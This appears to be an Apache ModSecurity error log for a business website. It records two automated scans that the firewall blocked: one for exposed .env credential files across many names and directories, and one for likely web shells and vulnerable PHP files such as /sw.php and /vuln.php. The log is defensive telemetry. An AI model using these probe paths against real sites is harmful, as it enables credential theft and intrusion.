[Sat Apr 25 20:39:52.317346 2026] [:error] [pid 59985:tid 60000] [client 18.136.202.61:50600] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aey2GAF_zDvEhKvyTH6jSQAAAA0"]
[Sat Apr 25 20:39:52.747625 2026] [:error] [pid 59898:tid 59970] [client 18.136.202.61:50608] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aey2GB-4vImxb0kbdzej2QAAANA"]
[Sat Apr 25 20:39:53.176501 2026] [:error] [pid 3212:tid 3221] [client 18.136.202.61:50616] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aey2Gfg-28TY8_YLtUcYiwAAAQc"]
[Sat Apr 25 20:39:53.606097 2026] [:error] [pid 59897:tid 59927] [client 18.136.202.61:50624] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aey2GfBrrkdzpEbmK4d60wAAAIA"]
[Sat Apr 25 20:39:54.035897 2026] [:error] [pid 59897:tid 59950] [client 18.136.202.61:50636] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aey2GvBrrkdzpEbmK4d61AAAAJc"]
[Sat Apr 25 20:39:54.468037 2026] [:error] [pid 59897:tid 59933] [client 18.136.202.61:50646] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aey2GvBrrkdzpEbmK4d61gAAAIY"]
[Sat Apr 25 20:39:54.897406 2026] [:error] [pid 59896:tid 59913] [client 18.136.202.61:50648] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aey2GrLLzhtkd-OXUgDfuwAAAE0"]
[Sat Apr 25 20:39:55.326970 2026] [:error] [pid 59896:tid 59915] [client 18.136.202.61:50654] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "aey2G7LLzhtkd-OXUgDfvAAAAE8"]
[Sat Apr 25 20:39:55.755618 2026] [:error] [pid 59896:tid 59911] [client 18.136.202.61:50658] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "aey2G7LLzhtkd-OXUgDfvQAAAEs"]
[Sat Apr 25 20:39:56.186856 2026] [:error] [pid 59898:tid 59966] [client 18.136.202.61:50680] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.stage"] [unique_id "aey2HB-4vImxb0kbdzej3AAAAMw"]
[Sat Apr 25 20:39:56.614749 2026] [:error] [pid 3212:tid 3230] [client 18.136.202.61:50686] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.ci"] [unique_id "aey2HPg-28TY8_YLtUcYkAAAARA"]
[Sat Apr 25 20:39:57.042861 2026] [:error] [pid 59898:tid 59963] [client 18.136.202.61:50696] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.docker"] [unique_id "aey2HR-4vImxb0kbdzej3QAAAMk"]
[Sat Apr 25 20:39:57.472465 2026] [:error] [pid 59985:tid 59991] [client 18.136.202.61:50712] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.live"] [unique_id "aey2HQF_zDvEhKvyTH6jUAAAAAQ"]
[Sat Apr 25 20:39:57.900172 2026] [:error] [pid 59985:tid 60001] [client 18.136.202.61:50722] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.preprod"] [unique_id "aey2HQF_zDvEhKvyTH6jUgAAAA4"]
[Sat Apr 25 20:39:58.330677 2026] [:error] [pid 59896:tid 59903] [client 18.136.202.61:50728] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.uat"] [unique_id "aey2HrLLzhtkd-OXUgDfwAAAAEM"]
[Sat Apr 25 20:39:58.760292 2026] [:error] [pid 59985:tid 60003] [client 18.136.202.61:50738] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "aey2HgF_zDvEhKvyTH6jVAAAABA"]
[Sat Apr 25 20:39:59.188729 2026] [:error] [pid 59897:tid 59939] [client 18.136.202.61:50742] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "aey2H_BrrkdzpEbmK4d63gAAAIw"]
[Sat Apr 25 20:39:59.624088 2026] [:error] [pid 59985:tid 59994] [client 18.136.202.61:50748] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env~"] [unique_id "aey2HwF_zDvEhKvyTH6jVgAAAAc"]
[Sat Apr 25 20:40:00.054158 2026] [:error] [pid 59897:tid 59932] [client 18.136.202.61:50752] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aey2IPBrrkdzpEbmK4d64wAAAIU"]
[Sat Apr 25 20:40:00.485045 2026] [:error] [pid 59898:tid 59962] [client 18.136.202.61:50760] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/apps/.env"] [unique_id "aey2IB-4vImxb0kbdzej3wAAAMg"]
[Sat Apr 25 20:40:00.916413 2026] [:error] [pid 59898:tid 59957] [client 18.136.202.61:50774] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aey2IB-4vImxb0kbdzej4QAAAMM"]
[Sat Apr 25 20:40:01.345204 2026] [:error] [pid 59985:tid 59997] [client 18.136.202.61:50784] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/web/.env"] [unique_id "aey2IQF_zDvEhKvyTH6jVwAAAAo"]
[Sat Apr 25 20:40:01.775415 2026] [:error] [pid 59898:tid 59954] [client 18.136.202.61:50788] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/site/.env"] [unique_id "aey2IR-4vImxb0kbdzej5AAAAMA"]
[Sat Apr 25 20:40:02.203440 2026] [:error] [pid 59898:tid 59966] [client 18.136.202.61:50794] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/public/.env"] [unique_id "aey2Ih-4vImxb0kbdzej5gAAAMw"]
[Sat Apr 25 20:40:02.631503 2026] [:error] [pid 59898:tid 59968] [client 18.136.202.61:50802] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "aey2Ih-4vImxb0kbdzej6AAAAM4"]
[Sat Apr 25 20:40:03.060109 2026] [:error] [pid 59896:tid 59900] [client 18.136.202.61:50806] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "aey2I7LLzhtkd-OXUgDfxgAAAEA"]
[Sat Apr 25 20:40:03.488276 2026] [:error] [pid 3212:tid 3220] [client 18.136.202.61:50818] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/server/.env"] [unique_id "aey2I_g-28TY8_YLtUcYlgAAAQY"]
[Sat Apr 25 20:40:03.917460 2026] [:error] [pid 59898:tid 59965] [client 18.136.202.61:50828] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/frontend/.env"] [unique_id "aey2Ix-4vImxb0kbdzej6wAAAMs"]
[Sat Apr 25 20:40:04.347044 2026] [:error] [pid 59898:tid 59974] [client 18.136.202.61:50846] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/src/.env"] [unique_id "aey2JB-4vImxb0kbdzej7gAAANQ"]
[Sat Apr 25 20:40:04.773215 2026] [:error] [pid 59985:tid 59988] [client 18.136.202.61:50860] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aey2JAF_zDvEhKvyTH6jWgAAAAE"]
[Sat Apr 25 20:40:05.200119 2026] [:error] [pid 3212:tid 3231] [client 18.136.202.61:50882] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/core/app/.env"] [unique_id "aey2Jfg-28TY8_YLtUcYmQAAARE"]
[Sat Apr 25 20:40:05.625775 2026] [:error] [pid 59898:tid 59967] [client 18.136.202.61:50892] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/core/Database/.env"] [unique_id "aey2JR-4vImxb0kbdzej8AAAAM0"]
[Sat Apr 25 20:40:06.058524 2026] [:error] [pid 59896:tid 59912] [client 18.136.202.61:50904] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aey2JrLLzhtkd-OXUgDfyQAAAEw"]
[Sat Apr 25 22:11:24.424177 2026] [:error] [pid 59896:tid 59905] [client 20.215.66.169:53017] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "aezLjLLLzhtkd-OXUgAFaAAAAEU"]
[Sat Apr 25 22:11:26.329728 2026] [:error] [pid 59897:tid 59944] [client 20.215.66.169:30991] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "aezLjvBrrkdzpEbmK4eQMQAAAJE"]
[Sat Apr 25 22:11:28.281489 2026] [:error] [pid 59896:tid 59924] [client 20.215.66.169:52998] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "aezLkLLLzhtkd-OXUgAFawAAAFg"]
[Sat Apr 25 22:11:29.025041 2026] [:error] [pid 59897:tid 59945] [client 20.215.66.169:31003] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.dj/index.php"] [unique_id "aezLkfBrrkdzpEbmK4eQNgAAAJI"]
[Sat Apr 25 22:11:30.514344 2026] [:error] [pid 59897:tid 59927] [client 20.215.66.169:55543] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aezLkvBrrkdzpEbmK4eQPAAAAIA"]
[Sat Apr 25 22:11:31.579950 2026] [:error] [pid 3212:tid 3222] [client 20.215.66.169:47463] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aezLk_g-28TY8_YLtUdMPQAAAQg"]
[Sat Apr 25 22:11:32.462163 2026] [:error] [pid 59896:tid 59908] [client 20.215.66.169:53035] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aezLlLLLzhtkd-OXUgAFcAAAAEg"]
[Sat Apr 25 22:11:33.441486 2026] [:error] [pid 59897:tid 59929] [client 20.215.66.169:29990] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aezLlfBrrkdzpEbmK4eQQQAAAII"]
[Sat Apr 25 22:11:34.083254 2026] [:error] [pid 59896:tid 59909] [client 20.215.66.169:30983] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "aezLlrLLzhtkd-OXUgAFcQAAAEk"]
[Sat Apr 25 22:11:35.005130 2026] [:error] [pid 3212:tid 3233] [client 20.215.66.169:30004] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "aezLl_g-28TY8_YLtUdMQAAAARM"]
[Sat Apr 25 22:11:35.647805 2026] [:error] [pid 3212:tid 3215] [client 20.215.66.169:29956] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "aezLl_g-28TY8_YLtUdMQgAAAQE"]
[Sat Apr 25 22:11:36.448323 2026] [:error] [pid 59897:tid 59943] [client 20.215.66.169:29986] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/"] [unique_id "aezLmPBrrkdzpEbmK4eQRAAAAJA"]
[Sat Apr 25 22:11:37.287525 2026] [:error] [pid 59898:tid 59957] [client 20.215.66.169:31015] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.admin.php"] [unique_id "aezLmR-4vImxb0kbdze09AAAAMM"]
[Sat Apr 25 22:11:38.229735 2026] [:error] [pid 3212:tid 3217] [client 20.215.66.169:55547] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.admin.php"] [unique_id "aezLmvg-28TY8_YLtUdMRwAAAQM"]
[Sat Apr 25 22:11:39.763340 2026] [:error] [pid 3212:tid 3226] [client 20.215.66.169:42131] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.admin.php"] [unique_id "aezLm_g-28TY8_YLtUdMSgAAAQw"]
[Sat Apr 25 22:11:40.556203 2026] [:error] [pid 59897:tid 59931] [client 20.215.66.169:43621] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.admin.php"] [unique_id "aezLnPBrrkdzpEbmK4eQSQAAAIQ"]
[Sat Apr 25 22:11:41.265931 2026] [:error] [pid 59896:tid 59901] [client 20.215.66.169:64845] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "aezLnbLLzhtkd-OXUgAFeQAAAEE"]
[Sat Apr 25 22:11:41.921590 2026] [:error] [pid 3212:tid 3231] [client 20.215.66.169:53025] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "aezLnfg-28TY8_YLtUdMTgAAARE"]
[Sat Apr 25 22:11:42.838162 2026] [:error] [pid 3212:tid 3233] [client 20.215.66.169:55526] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "aezLnvg-28TY8_YLtUdMUgAAARM"]
[Sat Apr 25 22:11:44.674853 2026] [:error] [pid 3212:tid 3228] [client 20.215.66.169:55515] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "aezLoPg-28TY8_YLtUdMVgAAAQ4"]
[Sat Apr 25 22:11:50.452996 2026] [:error] [pid 3212:tid 3232] [client 20.215.66.169:64853] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "aezLpvg-28TY8_YLtUdMXQAAARI"]
[Sat Apr 25 22:11:55.052213 2026] [:error] [pid 59897:tid 59932] [client 20.215.66.169:29983] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "aezLq_BrrkdzpEbmK4eQYAAAAIU"]
[Sat Apr 25 22:11:56.280410 2026] [:error] [pid 59898:tid 59955] [client 20.215.66.169:52995] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "aezLrB-4vImxb0kbdze1BwAAAME"]
